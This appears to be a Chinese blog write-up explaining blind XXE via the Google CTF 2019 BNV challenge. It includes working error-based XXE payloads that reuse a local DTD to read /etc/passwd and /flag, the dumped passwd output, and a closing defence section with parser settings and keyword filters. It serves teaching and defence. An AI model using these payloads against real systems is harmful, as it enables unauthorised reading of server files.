0x00 : 简介
通过Google CTF的BNV
学习一下XXE
当Web应用采用JSON进行数据传输时,可能存在XXE漏洞。
时隔许久的一次更新..
0x01 : 前言
现在有会显得XXE已经很少了,Blind-XXE重点在于如何将数据传输出来。
以往很多文章通过引入外部服务器或外部dtd文件,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。
0x02 : 参数实体
XML的DTD可以定义普通实体和参数实体两种实体类型,而这两种类型也可以再分别为内部实体和外部实体。
XXE,全称就为XML外部实体注入漏洞。通过外部实体SYSTEM请求本地文件uri,通过某种方式返回本地文件内容就导致了XXE漏洞。
声明内部实体和外部实体区别如下 :
<!ENTITY 实体名 SYSTEM url> //外部实体
<!ENTITY 实体名 实体的值> //内部实体
Blind XXE 需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以 % 为标志定义,定义和使用方法如下
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b "hello"> //内部普通实体
<!ENTITY b SYSTEM "http://xml.org/hhh.dtd"> //外部普通实体
<!ENTITY % para SYSTEM "file:///1234.dtd"> //外部参数实体
%para;
]>
<c>&b;</c>
而且参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体 % 需要进行HTML转义,否则会出现解析错误
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % para '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>
0x03 : Blind-XXE 引用本地DTD文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。
ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd
文件
它定义了很多参数实体并调用,所以我们可以在内部重写一个该dtd文件中含有的参数实体,如ISOmaso
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file'>">
%eval;
%error;
'>
%local_dtd;
]>
形如
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file'>">
%eval;
%error;
'>
%local_dtd;
]>
0x04 : Google CTF 2019-BNV Response
Invalid URI: testroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:106::/var/run/dbus:/bin/false
colord:x:106:108:colord colour management daemon,,,:/var/lib/colord:/bin/false
, line 4, column 15
Payload
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
Response
Invalid URI: testCTF{0x1033_75008_1004x0}, line 4, column 15
0x5 : 防御
- 使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据
关键词:<!DOCTYPE
和<!ENTITY
,或者,SYSTEM
和PUBLIC
。
References:
Blind XXE详解与Google CTF一道题分析
Lab: Exploiting XXE to retrieve data by repurposing a local DTD
GoogleCTF 2019 - Web: BNV -Writeup
未知攻焉知防——XXE漏洞攻防
还不快抢沙发